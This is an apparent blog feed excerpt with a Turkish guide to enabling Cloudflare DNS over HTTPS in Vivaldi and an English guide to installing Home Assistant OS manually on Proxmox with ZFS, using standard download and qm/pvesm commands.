&lt;p&gt;Bug&amp;uuml;n Vivaldi'ye &amp;scedil;u me&amp;scedil;hur &lt;strong&gt;DoH (DNS over HTTPS)&lt;/strong&gt; ayar&amp;inodot;n&amp;inodot; yapaca&amp;gbreve;&amp;inodot;z. Yani DNS sorgular&amp;inodot;m&amp;inodot;z&amp;inodot; &amp;scedil;ifreleyip, ISS'lerin g&amp;ouml;remeyece&amp;gbreve;i bir t&amp;uuml;nelden ge&amp;ccedil;irece&amp;gbreve;iz. Hem de &lt;strong&gt;Cloudflare&lt;/strong&gt; kullanarak. (Neden Cloudflare? &amp;Ccedil;&amp;uuml;nk&amp;uuml; 1.1.1.1 altyap&amp;inodot;s&amp;inodot;yla piyasan&amp;inodot;n en h&amp;inodot;zl&amp;inodot;s&amp;inodot; ve en kararl&amp;inodot;s&amp;inodot;).&lt;/p&gt;
&lt;p&gt;Hadi &amp;scedil;u ayar&amp;inodot; yapal&amp;inodot;m da internetimiz biraz nefes als&amp;inodot;n.&lt;/p&gt;
&lt;h2 id="adm-1-guncellik-sart-ya-da-degil-mi"&gt;Ad&amp;inodot;m 1: G&amp;uuml;ncellik &amp;Scedil;art (Ya da De&amp;gbreve;il mi?)&lt;a class="headerlink" href="#adm-1-guncellik-sart-ya-da-degil-mi" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&amp;Ouml;nce Vivaldi'nin g&amp;uuml;ncel oldu&amp;gbreve;undan emin olmak gerekiyor. Yani mant&amp;inodot;kl&amp;inodot; tabii; eski s&amp;uuml;r&amp;uuml;mlerde bu men&amp;uuml;lerin yeri farkl&amp;inodot; olabilir.&lt;/p&gt;
&lt;p&gt;Sol &amp;uuml;stteki Vivaldi logosuna t&amp;inodot;klay&amp;inodot;n, &lt;strong&gt;Yard&amp;inodot;m &amp;gt; G&amp;uuml;ncellemeleri Kontrol Et&lt;/strong&gt; deyin. "Sen zaten en iyisisin" diyorsa devam edelim.&lt;/p&gt;
&lt;h2 id="adm-2-labirentte-kaybolmadan-ayarlar-bulmak"&gt;Ad&amp;inodot;m 2: Labirentte Kaybolmadan Ayarlar&amp;inodot; Bulmak&lt;a class="headerlink" href="#adm-2-labirentte-kaybolmadan-ayarlar-bulmak" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&amp;Scedil;imdi, buras&amp;inodot; biraz kar&amp;inodot;&amp;scedil;&amp;inodot;k. Eski rehberlerde ayar&amp;inodot;n &lt;code&gt;vivaldi://settings/network/&lt;/code&gt; alt&amp;inodot;nda oldu&amp;gbreve;u yazar. Ama Vivaldi geli&amp;scedil;tiricileri men&amp;uuml;lerin yerini de&amp;gbreve;i&amp;scedil;tirmeyi &amp;ccedil;ok seviyor.&lt;/p&gt;
&lt;p&gt;En garantisi &amp;scedil;u:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Klavyeden &lt;code&gt;Ctrl + F12&lt;/code&gt; tu&amp;scedil;una bas&amp;inodot;n (Ayarlar a&amp;ccedil;&amp;inodot;l&amp;inodot;r).&lt;/li&gt;
&lt;li&gt;Sol taraftaki arama &amp;ccedil;ubu&amp;gbreve;una direkt &lt;strong&gt;"G&amp;uuml;venli DNS"&lt;/strong&gt; veya &amp;Idot;ngilizce kullan&amp;inodot;yorsan&amp;inodot;z &lt;strong&gt;"Secure DNS"&lt;/strong&gt; yaz&amp;inodot;n.&lt;/li&gt;
&lt;li&gt;U&amp;gbreve;ra&amp;scedil;mak istemeyenler i&amp;ccedil;in adres &amp;ccedil;ubu&amp;gbreve;una &amp;scedil;unu yap&amp;inodot;&amp;scedil;t&amp;inodot;r&amp;inodot;p Enter'a basmak da i&amp;scedil;e yarar (Tabii Vivaldi bu komutu kald&amp;inodot;rmad&amp;inodot;ysa):
    &lt;code&gt;vivaldi://settings/privacy/&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;K&amp;inodot;sa Yol ⚡ Men&amp;uuml;lerde kaybolmay&amp;inodot;n. Ayarlar penceresindeki arama kutusu sizin en iyi dostunuzdur. 'DNS' yaz&amp;inodot;n, ayar kar&amp;scedil;&amp;inodot;n&amp;inodot;zda biter.&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id="adm-3-cloudflare-sunucusunu-girmek"&gt;Ad&amp;inodot;m 3: Cloudflare Sunucusunu Girmek&lt;a class="headerlink" href="#adm-3-cloudflare-sunucusunu-girmek" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Ayar yerini bulduk, genelde &lt;strong&gt;"Gizlilik ve G&amp;uuml;venlik"&lt;/strong&gt; sekmesinin en altlar&amp;inodot;na do&amp;gbreve;ru saklan&amp;inodot;yor.&lt;/p&gt;
&lt;p&gt;Orada &lt;strong&gt;"G&amp;uuml;venli DNS Kullan"&lt;/strong&gt; (Use Secure DNS) se&amp;ccedil;ene&amp;gbreve;ini g&amp;ouml;receksiniz. Varsay&amp;inodot;lan olarak "Mevcut servis sa&amp;gbreve;lay&amp;inodot;c&amp;inodot;n&amp;inodot;zla" se&amp;ccedil;ilidir (ki biz bundan ka&amp;ccedil;maya &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;yoruz).&lt;/p&gt;
&lt;p&gt;Yapman&amp;inodot;z gerekenler s&amp;inodot;ras&amp;inodot;yla:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Cloudflare se&amp;ccedil;ene&amp;gbreve;ini i&amp;scedil;aretleyin. E&amp;gbreve;er &amp;ouml;zel ayar yapacaksan&amp;inodot;z &lt;strong&gt;"&amp;Ouml;zel"&lt;/strong&gt; (With Custom) se&amp;ccedil;ene&amp;gbreve;ini i&amp;scedil;aretleyin.&lt;/li&gt;
&lt;li&gt;Yan&amp;inodot;ndaki veya alt&amp;inodot;ndaki kutucu&amp;gbreve;a &amp;scedil;u Cloudflare se&amp;ccedil;ene&amp;gbreve;ini se&amp;ccedil;in:
&lt;img alt="Vivaldi DoH ayar&amp;inodot;" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/vivaldi-doh-dns-over-https-ayari-xl.webp" srcset="/images/vivaldi-doh-dns-over-https-ayari-sm.webp 300w, /images/vivaldi-doh-dns-over-https-ayari-md.webp 500w, /images/vivaldi-doh-dns-over-https-ayari-lg.webp 800w, /images/vivaldi-doh-dns-over-https-ayari-xl.webp 1200w"/&gt;&lt;/li&gt;
&lt;li&gt;Alternatif olarak, adres &amp;ccedil;ubu&amp;gbreve;una &amp;scedil;u adresi yap&amp;inodot;&amp;scedil;t&amp;inodot;rabilirsiniz: &lt;code&gt;https://doh.dns.sb/dns-query&lt;/code&gt; fakat bu adres i&amp;ccedil;in risk size ait. Ben Cloudflare kullan&amp;inodot;yorum.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Enter'a basman&amp;inodot;za veya "Kaydet" demenize gerek yok, Vivaldi (Chromium altyap&amp;inodot;s&amp;inodot; sa&amp;gbreve; olsun) an&amp;inodot;nda kap&amp;inodot;yor ayar&amp;inodot;.&lt;/p&gt;
&lt;h2 id="sonuc-calsyor-mu"&gt;Sonu&amp;ccedil;: &amp;Ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;yor mu?&lt;a class="headerlink" href="#sonuc-calsyor-mu" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Ayar&amp;inodot; yapt&amp;inodot;k ama "Ya &amp;ccedil;al&amp;inodot;&amp;scedil;m&amp;inodot;yorsa?" &amp;scedil;&amp;uuml;phesi i&amp;ccedil;imizi kemirmesin.
Hemen yeni bir sekme a&amp;ccedil;&amp;inodot;n ve &lt;a href="https://1.1.1.1/help" rel="noopener noreferrer" target="_blank"&gt;Cloudflare Yard&amp;inodot;m&lt;/a&gt; sayfas&amp;inodot;na girin.&lt;/p&gt;
&lt;p&gt;E&amp;gbreve;er &lt;strong&gt;"Using DNS over HTTPS (DoH)"&lt;/strong&gt; k&amp;inodot;sm&amp;inodot;nda &lt;strong&gt;"Yes"&lt;/strong&gt; yaz&amp;inodot;yorsa, tebrikler! Art&amp;inodot;k DNS sorgular&amp;inodot;n&amp;inodot;z &amp;scedil;ifreli gidiyor. ISS'niz hangi siteye girdi&amp;gbreve;inizi DNS &amp;uuml;zerinden g&amp;ouml;remiyor (IP &amp;uuml;zerinden g&amp;ouml;rebilir ama o ba&amp;scedil;ka bir makalenin konusu; hatta benzer bir gizlilik ve s&amp;inodot;z&amp;inodot;nt&amp;inodot; konusunu &lt;a href="/aws-ec2-openvpn-kurulumu-dns-leak-duzeltilmesi/"&gt;AWS EC2 OpenVPN Kurulumu ve DNS Leak D&amp;uuml;zeltilmesi&lt;/a&gt; makalemde ele alm&amp;inodot;&amp;scedil;t&amp;inodot;m 😅).&lt;/p&gt;
&lt;p&gt;Bazen bu ayar &amp;scedil;irket i&amp;ccedil;i a&amp;gbreve;larda veya baz&amp;inodot; kafe wifi'lar&amp;inodot;nda interneti kesebilir. &amp;Ouml;yle bir durumda "G&amp;uuml;venli DNS" kutucu&amp;gbreve;unu kapat&amp;inodot;p tekrar deneyin. Teknoloji i&amp;scedil;te, bazen a&amp;ccedil;-kapa yapmak gerekiyor.&lt;/p&gt;
&lt;p&gt;G&amp;uuml;le g&amp;uuml;le, &amp;ouml;zg&amp;uuml;rce kullan&amp;inodot;n!&lt;/p&gt;</content><category term="Ağ ve İnternet"/><category term="vivaldi"/><category term="doh"/><category term="dns over https"/><category term="cloudflare"/><category term="gizlilik"/><category term="sansür"/></entry><entry><title>Installation of Home Assistant (HAOS) on Proxmox + ZFS</title><link href="https://yuceltoluyag.github.io/en/proxmox-zfs-home-assistant/" rel="alternate"/><published>2025-11-30T14:15:00+03:00</published><updated>2025-11-30T14:15:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2025-11-30:/en/proxmox-zfs-home-assistant/</id><summary type="html">&lt;p&gt;A manual Home Assistant installation guide on Proxmox with ZFS and SSD optimizations (q35, ssd=1), without hiding behind ready-made scripts.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Sometimes I ask myself, "Why do you choose the hard way when there's an easy one?" The internet is full of "install Home Assistant with a single line of code" scripts. Tteck's scripts, for example, are legendary, no doubt about it. But that control freak inside me won't stay quiet. I can't sleep thinking, "What if this script mounts my disk to the wrong place?" or "What is it actually doing in the background?"&lt;/p&gt;
&lt;p&gt;The other day, while updating the server (and partially out of fear of spilling coffee on my keyboard), I said to myself; let's do the most optimized, cleanest installation manually, without using scripts, but by "borrowing" those fine performance settings (Q35, SSD flags, etc.) that the scripts use.&lt;/p&gt;
&lt;p&gt;If you are like me and say "I need to know what's under the hood," you're in the right place. We're going to make Proxmox 9 and ZFS dance with Home Assistant.&lt;/p&gt;
&lt;h2 id="1-capturing-the-image-which-one-was-the-latest"&gt;1. Capturing the Image (Which one was the latest?)&lt;a class="headerlink" href="#1-capturing-the-image-which-one-was-the-latest" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;First, let's SSH into the Proxmox server. You could use the web console, but when copying and pasting, that console window sometimes acts up, letters get displaced... No need for that.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ssh&lt;span class="w"&gt; &lt;/span&gt;root@vhost01
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Now, there's no need to wander around the Home Assistant site wondering "what was the latest version?" This set of commands goes to GitHub and says "Give me the latest stable version, brother" and downloads it.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Automatically find and download the version&lt;/span&gt;
&lt;span class="nv"&gt;ha_version&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;curl&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;https://raw.githubusercontent.com/home-assistant/version/master/stable.json&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;grep&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ova"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;cut&lt;span class="w"&gt; &lt;/span&gt;-d&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'"'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-f&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;

wget&lt;span class="w"&gt; &lt;/span&gt;-q&lt;span class="w"&gt; &lt;/span&gt;--show-progress&lt;span class="w"&gt; &lt;/span&gt;https://github.com/home-assistant/operating-system/releases/download/&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;ha_version&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;/haos_ova-&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;ha_version&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;.qcow2.xz
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Did it download? Great. Now let's extract the package.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;unxz&lt;span class="w"&gt; &lt;/span&gt;haos_ova-&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;ha_version&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;.qcow2.xz
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;By the way, don't bother copying the filename, it completes it when you press the &lt;code&gt;tab&lt;/code&gt; key anyway. (Everyone knows this, but it just came to mind).&lt;/p&gt;
&lt;h2 id="2-creating-the-vm-but-not-just-plain"&gt;2. Creating the VM (But not just plain)&lt;a class="headerlink" href="#2-creating-the-vm-but-not-just-plain" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Look, this part is very important. We used to use &lt;code&gt;i440fx&lt;/code&gt;, and it worked. But times have changed. If you're going to plug a Zigbee USB into this Home Assistant or do GPU passthrough tomorrow, the &lt;strong&gt;Q35&lt;/strong&gt; chipset is a must. Scripts make this default, so why shouldn't we?&lt;/p&gt;
&lt;p&gt;I chose &lt;code&gt;206&lt;/code&gt; as the VM ID; 106 or 300 would work too, it's up to you.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;qm&lt;span class="w"&gt; &lt;/span&gt;create&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;206&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--name&lt;span class="w"&gt; &lt;/span&gt;hass01&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--pool&lt;span class="w"&gt; &lt;/span&gt;PROD&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--tags&lt;span class="w"&gt; &lt;/span&gt;prod&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--ostype&lt;span class="w"&gt; &lt;/span&gt;l26&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--machine&lt;span class="w"&gt; &lt;/span&gt;q35&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--agent&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--bios&lt;span class="w"&gt; &lt;/span&gt;ovmf&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--cpu&lt;span class="w"&gt; &lt;/span&gt;host,flags&lt;span class="o"&gt;=&lt;/span&gt;+aes&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--cores&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--memory&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4096&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--numa&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--scsihw&lt;span class="w"&gt; &lt;/span&gt;virtio-scsi-pci&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--net0&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;virtio&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;AA:BB:CC:DD:E2:06,bridge&lt;span class="o"&gt;=&lt;/span&gt;vmbr00,firewall&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;,tag&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;50&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Be Careful When Copy-Pasting! 💣&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The command above has settings specific to my own server; it will fail if you paste it directly:
* &lt;code&gt;--pool PROD&lt;/code&gt;: If you don't have a pool named "PROD," delete this line.
* &lt;code&gt;--net0 ...&lt;/code&gt;: I use &lt;code&gt;vmbr00&lt;/code&gt; and &lt;code&gt;tag=50&lt;/code&gt; (VLAN). You probably have &lt;code&gt;vmbr0&lt;/code&gt; and no VLAN. Adjust it for yourself!&lt;/p&gt;
&lt;div class="admonition note"&gt;
&lt;p class="admonition-title"&gt;Q35 Detail&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The &lt;code&gt;--machine q35&lt;/code&gt; parameter is critical for modern PCIe hardware. We also set the CPU to &lt;code&gt;host&lt;/code&gt; mode so it doesn't waste time in the virtualization layer and uses all the features of the host machine.&lt;/p&gt;
&lt;h2 id="3-throwing-the-disk-into-the-zfs-pool"&gt;3. Throwing the Disk into the ZFS Pool&lt;a class="headerlink" href="#3-throwing-the-disk-into-the-zfs-pool" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;You know the name of your storage area, right? I use &lt;code&gt;pve_vdisks&lt;/code&gt;, but in 90% of cases, it says &lt;code&gt;local-zfs&lt;/code&gt; for you.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;pvesm&lt;span class="w"&gt; &lt;/span&gt;status
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Let's throw the image we downloaded into the pool:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;qm&lt;span class="w"&gt; &lt;/span&gt;importdisk&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;206&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;haos_ova-&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;ha_version&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;.qcow2&lt;span class="w"&gt; &lt;/span&gt;pve_vdisks
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This process might take a while depending on the disk speed. In the meantime, go drink some water, get up from the chair. A herniated disk is no joke.&lt;/p&gt;
&lt;h2 id="4-where-it-all-happens-disk-settings"&gt;4. Where It All Happens: Disk Settings&lt;a class="headerlink" href="#4-where-it-all-happens-disk-settings" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;This is where the "magic" of the tteck script lies. If you mount the disk plainly, will it work? Yes. But Home Assistant will think it's an old-style spinning hard drive. We'll tell it, "Hey, you're on an SSD, relax" (&lt;code&gt;ssd=1&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Also, we need to specially configure the EFI disk for Proxmox 9 and Secure Boot compatibility.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# First, a tiny EFI disk&lt;/span&gt;
pvesm&lt;span class="w"&gt; &lt;/span&gt;alloc&lt;span class="w"&gt; &lt;/span&gt;pve_vdisks&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;206&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;vm-206-disk-0&lt;span class="w"&gt; &lt;/span&gt;4M

&lt;span class="c1"&gt;# Now we explode the real bomb&lt;/span&gt;
qm&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;206&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--efidisk0&lt;span class="w"&gt; &lt;/span&gt;pve_vdisks:vm-206-disk-0,efitype&lt;span class="o"&gt;=&lt;/span&gt;4m&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--scsi0&lt;span class="w"&gt; &lt;/span&gt;pve_vdisks:vm-206-disk-1,ssd&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;,discard&lt;span class="o"&gt;=&lt;/span&gt;on,iothread&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--boot&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;order&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;scsi0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The &lt;code&gt;discard=on&lt;/code&gt; command here is vital for ZFS. Without TRIM support, that disk will bloat and bloat, and then you'll deal with "Disk full" warnings. I know this from experience.&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Also, let's enlarge the disk a bit; 32GB is standard, if you think it won't be enough, make it 64.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;qm&lt;span class="w"&gt; &lt;/span&gt;resize&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;206&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;scsi0&lt;span class="w"&gt; &lt;/span&gt;32G
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="5-verification-paranoia-is-good"&gt;5. Verification (Paranoia is Good)&lt;a class="headerlink" href="#5-verification-paranoia-is-good" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;We've done everything, but let's see if the disks are actually there.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;pvesm&lt;span class="w"&gt; &lt;/span&gt;list&lt;span class="w"&gt; &lt;/span&gt;pve_vdisks&lt;span class="w"&gt; &lt;/span&gt;--vmid&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;206&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The output should look something like this (One 4MB, the other 32GB):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Volid                    Format  Type             Size VMID
pve_vdisks:vm-206-disk-0 raw     images        4194304 206
pve_vdisks:vm-206-disk-1 raw     images    34359738368 206
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If you also want to see the ZFS datasets:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;zfs&lt;span class="w"&gt; &lt;/span&gt;list&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;grep&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;206&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="6-bismillah-were-starting"&gt;6. Bismillah: We're Starting&lt;a class="headerlink" href="#6-bismillah-were-starting" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;If everything is in place, we can start the engine.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;qm&lt;span class="w"&gt; &lt;/span&gt;start&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;206&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;After the VM starts, find its IP address (from the router or console), and type &lt;code&gt;http://IP_ADDRESS:8123&lt;/code&gt; into your browser. If you see that famous "Home Assistant is preparing" screen, the process is complete.&lt;/p&gt;
&lt;p&gt;I mean, using scripts isn't bad, but installing it manually doesn't exactly make you feel like "Mr. Robot." Plus, now you've tightened every screw in the system yourself; if a problem arises, you know where to look. Enjoy using it! 👋&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;A VM where I once forgot to turn on discard occupied 500GB on ZFS, even though it didn't have 100GB of data. Cleaning it up was a total torture.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Sunucu"/><category term="proxmox"/><category term="home assistant"/><category term="haos"/><category term="zfs"/><category term="tteck"/><category term="vm"/><category term="linux"/><category term="disk"/></entry><entry><title>Proxmox + ZFS Üzerinde Home Assistant (HAOS) Kurulumu</title><link href="https://yuceltoluyag.github.io/proxmox-zfs-home-assistant/" rel="alternate"/><published>2025-11-30T14:15:00+03:00</published><updated>2025-11-30T14:15:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2025-11-30:/proxmox-zfs-home-assistant/</id><summary type="html">&lt;p&gt;Hazır scriptlerin arkasına sığınmadan, Proxmox üzerinde ZFS ve SSD optimizasyonlarıyla (q35, ssd=1) manuel Home Assistant kurulum rehberi.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Bazen kendime soruyorum, "Neden kolay&amp;inodot; varken zoru se&amp;ccedil;iyorsun?" diye. &amp;Idot;nternet "tek sat&amp;inodot;r kodla Home Assistant kur" scriptleriyle dolu. Tteck'in scriptleri mesela, efsanedir, laf yok. Ama i&amp;scedil;te o i&amp;ccedil;imdeki kontrol manya&amp;gbreve;&amp;inodot; rahat durmuyor. "Ya bu script benim diskimi yanl&amp;inodot;&amp;scedil; yere ba&amp;gbreve;larsa?", "Arka planda ne &amp;ccedil;eviriyor bu?" diye d&amp;uuml;&amp;scedil;&amp;uuml;nmekten uyuyam&amp;inodot;yorum.&lt;/p&gt;
&lt;p&gt;Ge&amp;ccedil;en g&amp;uuml;n sunucuyu g&amp;uuml;ncellerken (biraz da kahveyi klavyeye d&amp;ouml;kme korkusuyla) dedim ki; gel &amp;scedil;unun en optimize, en temiz kurulumunu script kullanmadan, ama scriptlerin kulland&amp;inodot;&amp;gbreve;&amp;inodot; o ince performans ayarlar&amp;inodot;n&amp;inodot; (Q35, SSD flagleri falan) &amp;ccedil;alarak elle yapay&amp;inodot;m.&lt;/p&gt;
&lt;p&gt;E&amp;gbreve;er siz de benim gibi "Kaputun alt&amp;inodot;nda ne var bilmem laz&amp;inodot;m" diyenlerdenseniz, do&amp;gbreve;ru yerdesiniz. Proxmox 9 ve ZFS ikilisini, Home Assistant ile dans ettirece&amp;gbreve;iz.&lt;/p&gt;
